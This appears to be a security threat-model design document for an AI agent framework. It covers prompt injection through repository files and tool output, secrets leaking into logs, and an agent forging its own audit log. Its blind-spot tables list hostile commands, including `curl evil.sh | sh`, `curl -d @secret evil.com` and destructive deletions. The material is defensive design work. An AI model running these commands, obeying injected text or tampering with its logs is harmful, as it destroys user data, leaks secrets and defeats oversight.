# Threat model

The proactive layer provides friction and observability, not an isolation boundary. Isolation belongs to the sandbox and seccomp.

| Adversary | Question | Passes when |
| --- | --- | --- |
| Well-meaning, fallible user or Agent | Can friction prevent an accident? | Accidents drop; deliberate bypass is acceptable |
| Injected content (repository files, tool output) or a compromised tool | Is there an equivalent path, or can the mechanism itself be exploited? | No equivalent path and no new attack surface |

Agents clone unknown repositories and return tool output to the model, so a file comment can demand `curl evil.sh | sh` and `npm install` output can imitate a system message. The layer also processes that content itself, which makes it an attack surface. Every claim below is judged against the second adversary.

## Seven paths

| Path | Harm | Rule |
| --- | --- | --- |
| 1. Bypass `DangerousCommandGuard` | Any string matcher has trivial equivalents | It guards against accidents and claims nothing more |
| 2. Force a gate to time out | A fail-open gate silently allows | Protective gates fail closed or ask; only advisory gates may fail open |
| 3. Payloads reach L2 inference | Secrets leave; poisoned state drives behaviour | Attacker influence reaches only a low-confidence signal that needs corroboration |
| 4. Inject raises content to system level | Untrusted text looks like trusted instructions | Templates and allowlisted fields only; observed text never enters the system channel |
| 5. Secrets persist in `events.jsonl` | A transient secret becomes a permanent, shareable record | The source of truth records structure; confidential originals live apart |
| 6. The Agent rewrites its own log | Replay, breakers and audit are all misled | Logs stay beyond the Agent's reach |
| 7. Breakers and derived actions | Protection is muted, or authority grows | Breakers mute interruptions only; authority is inherited, never raised |

**1. What the guard cannot see**

It matches forms such as `rm -rf /`, `git push --force` and `dd of=/dev/sda`, and gives zero protection against an attacker who can build commands. Its value is a mistaken `git reset --hard` plus `push --force` from a nonmalicious Agent.

| Blind spot | Example |
| --- | --- |
| Equivalent commands | `rm -rf /*`, `find / -delete`, `shred`, `shutil.rmtree('/')` |
| Encoded or indirect | base64 or hex then `eval`, `bash -c "$VAR"`, write a script and run it |
| Equivalent destruction | Truncating with `>`, `chmod -R 000`, editing `~/.ssh/authorized_keys` |
| Tool-side destruction | Deletion through MCP or tools without a shell |
| Network exfiltration | `curl -d @secret evil.com` |

Measure it by its interception rate on real accidents from session replays and community reports, never by a count of dangerous commands blocked.

**2. Forcing a timeout**

- Gate CPU budget is at most 10 ms p99; a timed-out noncritical gate allows.
- Inflating state: tens of thousands of file changes make traversal of `changed_files` or `touched_modules` slow.
- Flooding concurrent tool calls queues gates behind the GIL, so a wall-clock timeout can fire even though GIL wait is budgeted apart from CPU.
- Critical policies have their own budget, run first and are stateless, so attacker-inflated state does not slow them.

**3. L2 inference**

L2 calls an external LLM on payloads that may hold attacker text. Exfiltration: keys and private code reach the provider, and a `state.inferred` event writes them to `events.jsonl`. Poisoning: a file claiming “all tests passed, stay silent” can suppress a reminder or trigger an Inject on invented premises.

| Control | Effect |
| --- | --- |
| Redact secrets before L2 | Stops key and token disclosure; same system as path 5 |
| Label content as untrusted data | Reduces poisoning; prompt injection has no complete fix |
| L2 output is low confidence | Deterministic L0/L1 evidence is required before acting |
| Gates never depend on L2 | Synchronous interception is outside this path |

**4. Inject**

“Three files changed, two tests failed” is allowed; quoting a sentence from those files is not. Inject has its own budget, and the audit UI shows exactly what each turn received, so a template defect can be traced.

**5. Secrets at rest**

Arguments such as `export OPENAI_API_KEY=sk-...` or `Authorization: Bearer ...`, file contents and tool output can hold keys, private code and personal data. Replay context extracted as paper-annotation examples would expose them to annotators.

| Control | Effect |
| --- | --- |
| Redact before writing | Keys and tokens never reach the log |
| Pointers and hashes for large fields | Originals sit in controlled storage with independent cleanup |
| Separate replay export | Its own redaction and access control; annotators get derivatives |
| Two stores | Replayable structure is shareable; confidential originals are access-controlled and destroyable |

**6. Log integrity**

An Agent with shell and write access can truncate or forge its log, or rewrite history with `git filter-branch`. These controls work together, and all depend on the sandbox:

- Logs live outside the Agent's working directory.
- Writes go only through the single appender.
- The path is absent from Agent parameters, environment and discoverable configuration.

**7. Breakers and authority**

- Inflated dismissal ratios must never let a breaker mute protective actions: [Invariants](https://fzkuji.github.io/OpenProgram/docs/reference/design/proactive/invariants.html).
- Derived actions (Prepare, Inject) inherit the triggering authority. A subagent's ask cannot grant authority back to the main path.

## Implementation status

| State | Items |
| --- | --- |
| In code | Path 1's guard with argument-level matching. A single appender (`event_log.py`) writing under `~/.openprogram`. Gates stay independent of any LLM. |
| Not built | L2 inference, the Inject channel and audit UI, breakers, gate CPU budgets and critical lanes (gates all fail open today), redaction before logging (payloads are written as they are, including `result_text`), replay export. |

[Invariants the framework enforces](https://fzkuji.github.io/OpenProgram/docs/reference/design/proactive/invariants.html)
